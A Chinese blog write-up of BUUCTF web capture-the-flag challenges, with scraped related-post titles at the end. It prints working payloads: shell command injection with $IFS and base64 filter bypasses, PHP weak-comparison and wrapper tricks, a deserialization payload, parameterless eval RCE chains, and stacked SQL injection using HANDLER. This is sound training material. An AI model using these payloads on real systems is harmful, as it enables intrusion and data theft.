BUUCTF WEB-WP(3)
BUUCTF WEB
- 几道
web做题的记录
[ACTF2020 新生赛]Exec
知识点:exec命令执行
- 这题最早是在一个叫中学生
CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///)) - 言归正传,这题其实就是一个
exec的命令执行,直接ip & cmd就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /先遍历一下根目录,发现flag,然后直接127.0.0.1 & cat /flag即可

[ACTF2020 新生赛]BackupFile
知识点:PHP弱类型,备份文件
- 首先提示要去找源码,所以尝试找备份文件
/index.php.bak,遂发现源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 这里要求首先要设置
GET传一个参数key,并且key要是数字,最后判断key == str就返回flag,我们可以发现这里的比较是用的==也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string会被转成int,而且若这里的string是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str会直接被当成123处理,所以我们只要给key赋值为123即可

##[GXYCTF2019]Ping Ping Ping
知识点:命令执行变量拼接,内联执行
- 这题和第一个类似,都是
exec的多语句执行,不过这题的过滤就有点多了 - 首先还是尝试直接
ip之后加上ls查看,发现有index.php flag.php两个文件 - 在尝试读取
flag时发现其中flag还有空格以及/都被过滤,所以尝试读取index.php发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
- 这里不仅过滤了那三样,还限制不允许使用
bash,对于这个我们可以尝试使用sh也可以同样进行操作 - 对于空格被过滤,我们可以尝试使用
$IFS$1或者分号代替 - 对于
flag的过滤,我们可以先对其base64编码后在读取,所以最终课构造payload如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
- 此外还可以尝试变量拼接读取
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

[ZJCTF 2019]NiZhuanSiWei
知识点: data伪协议,php反序列化,文件包含读取文件内容
- 直接给出了源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 第一层:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),这里要绕过file_get_contents()函数要使text内容是welcome to the zjctf,在前不久的MRCTF的套娃一题中见到过,需要用data://伪协议绕过 - 所以
text=data://text/plain,welcome to the zjctf - 第二层:要使用
file读取文件,但是不能直接读取flag.php,这里他给出了useless.php的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter伪协议来读取) - 所以
file=php://filter/read=convert.base64-encode/resource=useless.php,读取到源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 第三层:
$password = unserialize($password);,设置了一个password,涉及到反序列化,我们看到useless.php中的源码显示会直接读取file中内容,所以直接给file赋值flag.php,即可得到最终flag
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} - 最终
payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]BuyFlag
知识点:php弱类型,科学记数法
- 发现提示说要是
Cuiter才可以pay,遂查看cookie,发现value为0,尝试改为1,提示要输入密码 - 打开
pay.php页面查看源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
- 发现
password这里首先要使其不为数字,而后又要其等于404,并且这里的比较是==,显然是弱类型,所以考虑使用字符串绕过,password=404asd - 发现要求设置
money,于是考虑money=100000000,却发现提示长度超出,遂考虑使用科学记数法,money=1e10,获得flag

[GXYCTF2019]禁止套娃
知识点:无参数RCE,git源码泄露
githack下载源码
python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git- 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 设置要
GET一个exp并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数 - 我们这里首先还是要尝试遍历一下目录,查看一下
flag文件的位置 - 这里并未禁用
scandir()函数,所以我们要尝试去构造scandir('.')来遍历一下目录,这里参考了一下网上WP,发现可以使用current(localeconv())函数 current()函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'

- 这样我们就完成第一步,可以查看到目录文件信息
?exp=print_r(scandir(current(localeconv())));

- 发现
flag.php文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()函数先将数组倒置,这样flag.php就成了第二个元素,然后再使用next()函数指向首个的下一个,就完成指向flag.php了
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 最后就是直接用
readfile()函数读取文件内容即可,最终payload如下
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 看网上还有师傅使用
array_filp()先交换键值,然后使用array_rand()随机返回元素,读取flag,学到新姿势,记录一下,payload如下
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
[GYCTF2020]Blacklist
handler查询,堆叠注入
- 和强网杯的那个随便注类似,首先尝试查看表
1';show tables;#

- 看到字段
FlagHere,尝试读取其内容,这里用到了一个handler代替select查询,详细内容可以看一下这篇文章
https://xz.aliyun.com/t/7169#toc-47 - 大致介绍一下要用到的语句
handler FlagHere open as f;重命名FlagHere数据表为fhandler f read first;读取f的首行字段handler f close;关闭句柄- 所以最终使用堆叠注入构造
payload
1';handler FlagHere open as f;handler f read first;handler f close;#

BUUCTF WEB-WP(3)的更多相关文章
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- ISCC的 Web——WP
比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...
- 实验吧—Web——WP之 Forms
我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...
- 到处抄来的SUCTF2019 web wp
0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...
- buuctf—web—高明的黑客
打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...
- buuctf—web—Easy Calc
启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery, ("# ...
随机推荐
- CF #636 (Div. 3) 对应题号CF1343
unrated 选手悠闲做题,然后只做出四个滚蛋了 符合 div3 一贯风格,没啥难算法 E最后就要调出来了,但还是赛后才A的 CF1343A Candies 传送门 找到一个 \(x\),使得存在一 ...
- python(re 模块)
1.re.match() 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()就返回none. group() 以str形式返回对象中match的元素 start() 返回 ...
- python(configparser 模块)
1.下载安装 configparser 第三方模块 pip install configparser 2.读取配置文件 #配置文件内容如下 """ "D:/co ...
- muduo网络库源码学习————线程类
muduo库里面的线程类是使用基于对象的编程思想,源码目录为muduo/base,如下所示: 线程类头文件: // Use of this source code is governed by a B ...
- JWT的浅谈
在实际工作过程中,运行jmeter脚本的时候,开发给了一个jwt的授权信息,到底是做什么用的呢,翻阅了一些资料,整理如下: 一.JWT(Json Web Token)是什么 JWT是一串格式为xxxx ...
- P1666前缀单词
题目传送门点我传送 Ⅰ.字典树+树型DP 非常奇妙的一种解法 第一部分:构建树 先对来的单词读入,插入字典树 然后对于一颗字典树,其实是有很多无用边的,所以我们需要删去一些边 删去非单词节点和非单词节 ...
- print函数的全面认识
# 输出打印 数字 print(123) a = 100 print(a) # 输出打印 字符串 print('字符串123') print('''锄禾日当午 汗滴禾下土''') # 输出打印 列表 ...
- 从excel表格加载数据返回DataSet
添加命名空间:using System.Data.OleDb; /// <summary> /// 从excel表格加载数据返回DataSet /// </summary> / ...
- 错误:Several ports (8005, 8080, 8009) required by Tomcat v7.0 Server at localhost are already in use.
Several ports (8005, 8080, 8009) required by Tomcat v7.0 Server at localhost are already in use. The ...
- python语法学习第五天--lambda表达式、filter()、map()
lambda表达式 python使用lamda表达式来创建匿名函数 lambda 函数拥有自己的命名空间,且不能访问自己参数列表之外或全局命名空间里的参数 语法: lambda [arg1 [,arg ...